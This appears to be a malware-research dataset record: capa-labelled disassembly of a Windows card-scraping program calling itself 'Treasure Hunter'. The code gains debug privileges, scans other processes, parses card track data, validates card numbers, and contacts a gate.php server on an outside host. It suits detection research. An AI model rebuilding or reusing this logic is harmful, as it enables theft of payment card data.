joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4026b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, dword [str.firstEncryptionKey]
mov ebx, edi
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], edi
lea ecx, [ebx + 1]
lea ebx, [ebx]
mov al, byte [ebx]
inc ebx
test al, al
jne 0x4026d0
mov esi, edx
sub ebx, ecx
mov dword [ebp - 0x18], ebx
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0x4026e1
sub esi, ecx
mov dword [ebp - 0x10], esi
lea eax, [esi + 1]
push eax
call fcn.004044b3
mov edx, eax
add esp, 4
mov dword [ebp - 8], edx
test edx, edx
je 0x4027d1
lea eax, [esi + 1]
test eax, eax
jle 0x40272b
mov edi, dword [ebp - 0xc]
mov ecx, edx
sub edi, edx
mov edx, eax
mov al, byte [edi + ecx]
lea ecx, [ecx + 1]
mov byte [ecx - 1], al
dec edx
jne 0x402716
mov edi, dword [str.firstEncryptionKey]
lea eax, [esi + 1]
push eax
call fcn.004044b3
mov edx, eax
add esp, 4
mov dword [ebp - 0xc], edx
test edx, edx
je 0x4027ac
xor ecx, ecx
test esi, esi
jle 0x402790
mov eax, ebx
neg eax
mov dword [ebp - 0x14], eax
lea ebx, [ebx]
add ebx, ecx
mov eax, ecx
cmp ecx, ebx
jge 0x40277f
mov edi, dword [ebp - 8]
sub edi, edx
lea ecx, [ecx]
cmp eax, esi
jge 0x40277c
mov esi, dword [ebp - 4]
add edx, eax
mov cl, byte [edi + edx]
sub cl, byte [esi + eax]
inc eax
mov esi, dword [ebp - 0x10]
mov byte [edx], cl
mov edx, dword [ebp - 0xc]
cmp eax, ebx
jl 0x402760
mov edi, dword [ebp - 4]
add edi, dword [ebp - 0x14]
mov ecx, ebx
mov ebx, dword [ebp - 0x18]
mov dword [ebp - 4], edi
cmp ecx, esi
jl 0x402750
jmp 0x402793
mov eax, dword [ebp - 0x18]
push dword [ebp - 8]
mov byte [edx + eax], 0
call fcn.0040447b
mov eax, dword [ebp - 0xc]
add esp, 4
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [0x417ea0], 1
jne 0x4027c9
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x417ea0], 1
jne 0x4027ee
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x402f90
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov ebx, edx
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 8]
mov edi, 1
mov esi, edx
sub edi, edx
lea ebx, [ebx]
mov al, byte [esi + ecx]
cmp al, 0x30
jl 0x402fcf
cmp al, 0x39
jg 0x402fcf
lea eax, [ebx - 1]
cmp esi, eax
je 0x403084
inc esi
lea eax, [edi + esi]
cmp eax, 0x13
jle 0x402fb0
movsx eax, byte [esi + ecx - 1]
mov ebx, esi
sub ebx, edx
sub eax, 0x30
xor edi, edi
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ebx
cmp ebx, 0xd
jl 0x403084
sub esi, 2
cmp esi, edx
jl 0x40304c
jmp 0x403000
movsx eax, byte [esi + ecx]
lea ebx, [eax*2 - 0x60]
cmp ebx, 9
jle 0x403032
mov eax, 0x66666667
imul ebx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp + 8]
mov eax, ecx
neg eax
shl eax, 3
sub eax, ecx
mov ecx, dword [ebp - 4]
add ebx, eax
add edi, ebx
cmp esi, edx
jle 0x403042
movsx eax, byte [esi + ecx - 1]
add edi, 0xffffffd0
add edi, eax
sub esi, 2
cmp esi, edx
jge 0x403000
mov ebx, dword [ebp - 8]
lea eax, [edi + edi*8]
mov ecx, 0xa
cdq
idiv ecx
mov ecx, dword [ebp - 0xc]
cmp ecx, edx
je 0x40307b
mov eax, 0x66666667
imul edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
inc eax
add eax, edx
lea eax, [eax + eax*4]
add eax, eax
sub eax, edi
cmp ecx, eax
jne 0x403084
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4032f0
Capabilities:
Parse credit card information

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
xor esi, esi
mov dword [ebp - 4], edx
mov dword [ebp - 8], ecx
cmp dword [ebp + 0xc], esi
jle 0x40339c
mov ecx, dword [ebp + 8]
push ebx
push edi
lea ecx, [ecx]
mov al, byte [esi + ecx]
xor ebx, ebx
cmp al, 0x42
je 0x40335b
cmp al, 0x25
jne 0x403324
cmp byte [esi + ecx + 1], 0x42
je 0x403357
cmp al, 0x30
jl 0x40332c
cmp al, 0x39
jle 0x40333e
cmp al, 0x3b
jne 0x40338e
mov dl, byte [esi + ecx + 1]
cmp dl, 0x30
jl 0x40338e
cmp dl, 0x39
jg 0x40338e
lea edi, [esi + 1]
cmp al, 0x3b
je 0x403347
mov edi, esi
mov edx, dword [ebp + 0xc]
push edi
call fcn.00403270
add esp, 4
mov ebx, eax
jmp 0x403373
cmp al, 0x42
jne 0x403360
lea edi, [esi + 1]
jmp 0x403363
lea edi, [esi + 2]
mov edx, dword [ebp + 0xc]
push edi
call fcn.004031d0
add esp, 4
dec edi
lea ebx, [eax + 1]
cmp ebx, 1
jle 0x40338b
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
push edi
push ebx
push dword [ebp + 8]
call fcn.00402800
add esp, 0xc
mov ecx, dword [ebp + 8]
inc esi
add esi, ebx
cmp esi, dword [ebp + 0xc]
jl 0x403310
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4033b0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push 0x21
mov esi, ecx
call fcn.004044b3
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4034ba
push 0x21
mov dword [0x418fa0], ebx
call fcn.004044b3
add esp, 4
mov dword [ebp - 4], eax
test eax, eax
je 0x403495
push 0x21
mov dword [0x418fd8], eax
call fcn.004044b3
mov edi, eax
add esp, 4
test edi, edi
je 0x403470
mov dl, byte [esi + 8]
mov ecx, 8
mov dword [0x418f9c], edi
cmp dl, 0x3a
je 0x40341d
mov byte [ebx + ecx - 8], dl
inc ecx
mov dl, byte [ecx + esi]
cmp dl, 0x3a
jne 0x403410
lea edx, [ecx + 1]
mov byte [ebx + ecx - 8], 0
mov bl, byte [edx + esi]
cmp bl, 0x3a
je 0x40343f
mov eax, dword [ebp - 4]
sub eax, ecx
mov byte [eax + edx - 1], bl
inc edx
mov bl, byte [edx + esi]
cmp bl, 0x3a
jne 0x403432
mov eax, dword [ebp - 4]
sub eax, ecx
lea ecx, [edx + 1]
mov byte [eax + edx - 1], 0
cmp ecx, 0x6a
jge 0x403462
mov ebx, edi
sub ebx, edx
mov al, byte [ecx + esi]
mov byte [ebx + ecx - 1], al
inc ecx
cmp ecx, 0x6a
jl 0x403455
sub edi, edx
mov byte [edi + ecx - 1], 0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp dword [0x417ea0], 1
jne 0x40348d
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x417ea0], 1
jne 0x4034b2
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x417ea0], 1
jne 0x4034d7
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4037e0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x20
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x1c], eax
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [esp + 4]
push eax
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [esp + 4]
push 0
push 0
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x10]
push 0x10
mov dword [esp + 0x20], eax
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x14]
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [esp + 0x1c]
neg eax
sbb eax, eax
xor ecx, esp
neg eax
call fcn.004041d7
mov esp, ebp
pop ebp
ret

Function at 0x403a30
Capabilities:
Terminate process

Disassembly:
push ebx
mov ebx, ecx
mov edx, ebx
push esi
push edi
lea ecx, [edx + 2]
lea ebx, [ebx]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x403a40
sub edx, ecx
sar edx, 1
lea esi, [edx + 1]
push esi
call fcn.004044b3
mov edi, eax
add esp, 4
test edi, edi
je 0x403aac
push esi
push ebx
push edi
call fcn.00404a1a
add esp, 0xc
mov esi, 0x4146c0
push dword [esi]
push edi
call fcn.00404550
add esp, 8
test eax, eax
jne 0x403a9a
add esi, 4
cmp esi, 0x4146cc
jl 0x403a71
push edi
call fcn.0040447b
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
push edi
call fcn.0040447b
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
ret
cmp dword [0x417ea0], 1
jne 0x403ac9
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403ba0
Capabilities:
Create thread
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x23c
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x238], eax
push ebx
push esi
push edi
push 0x20a
call fcn.004044b3
mov edi, eax
add esp, 4
test edi, edi
je 0x403d59
push 0
push 0
push 0
push 0x402a20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
mov dword [esp + 0xc], esi
cmp esi, 0xffffffff
jne 0x403c23
cmp dword [0x417ea0], 1
jne 0x403c23
push 0
push str.Debug_Message
push str.Couldnt_get_a_snapshot_of_the_memory_processes_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x403d27
nop
mov ecx, dword [esp + 0x18]
cmp ecx, ebx
je 0x403cfb
mov eax, dword [esp + 0x28]
cmp eax, ebx
je 0x403cfb
test ecx, ecx
je 0x403cfb
test eax, eax
je 0x403cfb
mov edx, edi
call fcn.00403ae0
test eax, eax
je 0x403cfb
mov ecx, dword [0x417ea8]
xor eax, eax
test ecx, ecx
jle 0x403ca4
mov edx, dword [esp + 0x18]
mov esi, dword [0x418f80]
lea ecx, [ecx]
cmp dword [esi + eax*4], edx
je 0x403c9c
inc eax
cmp eax, ecx
jl 0x403c90
jmp 0x403ca0
test ecx, ecx
jg 0x403cf7
mov esi, dword [esp + 0xc]
mov ecx, edi
call fcn.00403a30
cmp eax, 1
je 0x403cfb
cmp dword [0x417ea0], 1
jne 0x403cc9
push 0
push str.Debug_Message
push edi
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push dword [esp + 0x18]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x403cf7
push dword [esp + 0x18]
mov edx, edi
mov ecx, esi
call fcn.00403870
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0xc]
lea eax, [esp + 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x403c40
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [0x417108]
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x403bf1
cmp dword [0x417ea0], 1
jne 0x403d44
push 0
push str.Debug_Message
push str.couldnt_get_a_snapshot_of_the_memory_processes_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [esp + 0x244]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004041d7
mov esp, ebp
pop ebp
ret
cmp dword [0x417ea0], 1
jne 0x403d76
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403e40
Capabilities:
Create thread
Terminate process

Disassembly:
push ebx
push esi
push edi
mov edi, dword [0x417ea8]
mov ebx, ecx
test edi, edi
jne 0x403ed5
push 4
call fcn.004044b3
mov esi, eax
add esp, 4
test esi, esi
je 0x403eb0
push 4
mov dword [0x418f80], esi
call fcn.004044b3
add esp, 4
test eax, eax
je 0x403e8b
mov dword [0x418f88], eax
mov eax, dword [0x417104]
mov dword [0x417108], eax
jmp 0x403f16
cmp dword [0x417ea0], 1
jne 0x403ea8
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x417ea0], 1
jne 0x403ecd
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [edi*4 + 4]
push eax
push dword [0x418f80]
call fcn.00404a32
mov esi, eax
add esp, 8
test esi, esi
je 0x403f6c
lea eax, [edi*4 + 4]
mov dword [0x418f80], esi
push eax
push dword [0x418f88]
call fcn.00404a32
add esp, 8
test eax, eax
je 0x403f47
mov dword [0x418f88], eax
push 0
push 0
push ebx
push 0x403d80
push 0
push 0
mov dword [esi + edi*4], ebx
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, dword [0x417ea8]
mov ecx, dword [0x418f88]
pop edi
pop esi
pop ebx
mov dword [ecx + edx*4], eax
inc edx
mov dword [0x417ea8], edx
ret
cmp dword [0x417ea0], 1
jne 0x403f64
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x417ea0], 1
jne 0x403f89
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x403fa0
Capabilities:
Initialize winhttp library
Print debug messages
Reference http user-agent string
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x418fc0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
call fcn.00402240
mov dword [0x418f94], eax
call fcn.00401440
cmp dword [0x417ea0], 1
mov ebx, dword [sym.imp.USER32.dll_MessageBoxW]
jne 0x403ffa
push 0
push str.Debug_Message
push str.Treasure_Hunter_by_me
push 0
call ebx
push str.Treasure_Hunter_by_me
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push dword [0x418f94]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 0x104
lea eax, [ebp - 0x84]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call fcn.004037e0
mov esi, dword [0x417ea0]
test eax, eax
jne 0x404046
cmp esi, 1
jne 0x404046
push eax
push str.Debug_Message
push str.Couldnt_get_debug_privileges
push eax
call ebx
mov esi, dword [0x417ea0]
mov eax, dword [0x4170d4]
lea eax, [eax + eax*4]
shl eax, 2
push eax
call fcn.004044b3
add esp, 4
test eax, eax
je 0x4041d0
xor edi, edi
mov dword [0x418f8c], eax
cmp dword [0x4170d4], edi
jle 0x4040c1
lea esi, [eax + 8]
push 0x20a
call fcn.004044b3
add esp, 4
test eax, eax
je 0x404186
push 0x53
mov dword [esi - 8], eax
mov dword [esi - 4], 0
mov dword [esi], 0
call fcn.004044b3
add esp, 4
test eax, eax
je 0x404165
mov dword [esi + 4], eax
inc edi
mov dword [esi + 8], 0x52
add esi, 0x14
cmp edi, dword [0x4170d4]
jl 0x404074
call fcn.004034e0
test eax, eax
je 0x4041a2
mov esi, dword [str.lookarround.bet_lookarround_gate.php]
mov ecx, str.Mozilla_5.0__compatible__MSIE_8.0__Windows_NT_6.0__Trident_4.0__WOW64__Trident_4.0__SLCC2__.NET_CLR_2.0.50727__.NET_CLR_3.5.30729__.NET_CLR_3.0.30729_
call fcn.00401130
mov ecx, esi
mov edi, eax
call fcn.00401130
push 0
push 0
push 0
push 0
push edi
mov esi, eax
call dword [sym.imp.WINHTTP.dll_WinHttpOpen]
push 0
push 0x50
push esi
push eax
mov dword [0x418f84], eax
call dword [sym.imp.WINHTTP.dll_WinHttpConnect]
push edi
mov dword [0x418f90], eax
call fcn.0040447b
push esi
call fcn.0040447b
mov eax, dword [0x418f84]
add esp, 8
test eax, eax
je 0x404191
mov ecx, dword [0x418f90]
test ecx, ecx
je 0x404191
mov edx, dword [str.lookarround.bet_lookarround_gate.php_reporttrue]
push 7
push str.samafut
call fcn.00401840
add esp, 8
cmp dword [0x417ea0], 1
jne 0x40415e
push 0
push str.Debug_Message
push str.Successfully_reached_the_gate
push 0
call ebx
call fcn.00403ba0
jmp 0x4041bb
cmp dword [0x417ea0], 1
jne 0x40417e
push 0
push str.Debug_Message
push str.cannot_allocate_more_space_
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
cmp dword [0x417ea0], 1
jne 0x40417e
jmp 0x40416e
mov esi, dword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
push eax
call esi
push dword [0x418f90]
call esi
cmp dword [0x417ea0], 1
jne 0x4041bb
push 0
push str.Debug_Message
push str.Failed_to_reach_the_gate
push 0
call ebx
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041d7
mov esp, ebp
pop ebp
ret 0x10
cmp esi, 1
jne 0x40417e
jmp 0x40416e
Function at 0x40abfe
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.00407dee
mov dword [ebp - 0x14], eax
cmp dword [0x417e84], esi
jne 0x40acf1
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40ac7e
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40add1
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40add1
push 0x413da0
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40add1
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x417e84], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x417e88], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x417e8c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x417e94], eax
test eax, eax
je 0x40acee
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x417e90], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40ad16
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40ad09
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40ad2b
push 4
pop eax
jmp 0x40add3
cmp dword [ebp - 0x14], esi
je 0x40ad2b
push dword [0x417e84]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40ad10
mov eax, dword [0x417e90]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40ad89
cmp dword [0x417e94], edi
je 0x40ad89
push eax
call ebx
push dword [0x417e94]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40ad89
test eax, eax
je 0x40ad89
call ecx
test eax, eax
je 0x40ad7e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40ad7e
test byte [ebp - 8], 1
jne 0x40ad89
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40adb9
mov eax, dword [0x417e88]
cmp eax, edi
je 0x40adb6
push eax
call ebx
test eax, eax
je 0x40adb6
call eax
mov esi, eax
test esi, esi
je 0x40adb6
mov eax, dword [0x417e8c]
cmp eax, edi
je 0x40adb6
push eax
call ebx
test eax, eax
je 0x40adb6
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x417e84]
call ebx
test eax, eax
je 0x40add1
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40add3
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004041d7
mov esp, ebp
pop ebp
ret
Function at 0x40170e
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
push dword [ebp + 8]
mov esi, ecx
lea ecx, [esi + 8]
call fcn.004087df
push dword [ebp + 0xc]
lea edi, [esi + 0xc]
mov ecx, edi
call fcn.004014fd
push 0x5c
mov ecx, edi
call fcn.004015fd
xor edi, edi
lea eax, [ebp - 4]
push eax
push edi
push esi
push 0x401470
push edi
push edi
mov dword [0x41a5d8], esi
mov dword [0x41a5e0], edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [0x41a608], 2
mov dword [0x41a5dc], eax
je 0x40176b
call fcn.0040798c
push 0xffffffffffffffff
push dword [0x41a5dc]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [0x41a5e0]
cmp eax, edi
mov dword [0x41a674], edi
je 0x4017bb
cmp eax, 1
je 0x4017af
cmp eax, 2
je 0x4017ab
cmp eax, 3
je 0x4017a7
cmp eax, 0x67
jle 0x4017a1
cmp eax, 0x6a
jle 0x401810
push eax
push 0x14
push edi
jmp 0x401808
push 0x12
jmp 0x4017b1
push 0x13
jmp 0x4017b1
push 0x11
push edi
call fcn.00407860
pop ecx
pop ecx
jmp 0x401810
cmp dword [0x41a678], edi
jne 0x401810
lea eax, [ebp + 8]
push eax
push dword [0x41a5dc]
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
mov ecx, dword [ebp + 8]
je 0x4017e2
cmp ecx, edi
jne 0x4017e2
xor eax, eax
jmp 0x401815
mov eax, 0x80070000
mov edx, ecx
and edx, eax
cmp edx, eax
je 0x4017f4
push ecx
push 0x21
jmp 0x4017a4
and ecx, 0xffff
push ecx
call dword [sym.imp.KERNEL32.dll_SetLastError]
push dword [ebp + 8]
push 0x22
push 1
call fcn.00407860
add esp, 0xc
mov eax, 0x80004005
pop edi
pop esi
leave
ret 8

Function at 0x401b90
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
push 0
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x401bd1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, 0xb7
cmp eax, esi
je 0x401bb3
push eax
jmp 0x401bc7
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401bd1
test al, 0x10
jne 0x401bd1
push esi
call dword [sym.imp.KERNEL32.dll_SetLastError]
xor eax, eax
pop esi
ret
xor eax, eax
inc eax
pop esi
ret
Function at 0x401fda
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push ebx
push esi
push edi
push 0x40
lea eax, [ebp - 0x68]
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x40215a
push str.STATIC
lea eax, [ebp - 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40215a
push 0xfffffffffffffff0
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowLongW]
test al, 0xe
je 0x40215a
push str.IMAGES
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetMenu]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
movzx eax, ax
push eax
xor esi, esi
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
cmp ebx, esi
je 0x40215a
push ebx
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, esi
je 0x40215a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
cmp eax, esi
mov dword [ebp - 0x10], eax
je 0x40215a
push ebx
push esi
call edi
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
cmp ebx, 0x10
jb 0x40215a
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push ebx
push dword [ebp - 0x10]
mov edi, eax
push edi
call sub.msvcrt.dll_memcpy
add esp, 0xc
push esi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 8]
push eax
push esi
push edi
call dword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
test eax, eax
jne 0x402153
cmp dword [ebp - 8], esi
je 0x402153
lea eax, [ebp - 0xc]
push eax
push 0x416940
push esi
push esi
push dword [ebp - 8]
call dword [sym.imp.OLEAUT32.dll_OleCreatePictureIndirect]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, dword [ebp - 0xc]
cmp eax, esi
je 0x40215a
lea edx, [ebp - 4]
push edx
mov dword [ebp - 4], esi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
cmp dword [ebp - 4], esi
je 0x402145
push dword [ebp - 4]
call fcn.00401eaf
pop ecx
lea ecx, [ebp - 0x28]
push ecx
push 0x18
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.GDI32.dll_GetObjectW]
push 6
push dword [ebp - 0x20]
push dword [ebp - 0x24]
push esi
push esi
push esi
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SetWindowPos]
push dword [ebp - 4]
push esi
push 0x172
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageW]
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
inc eax
jmp 0x40215c
push edi
call dword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret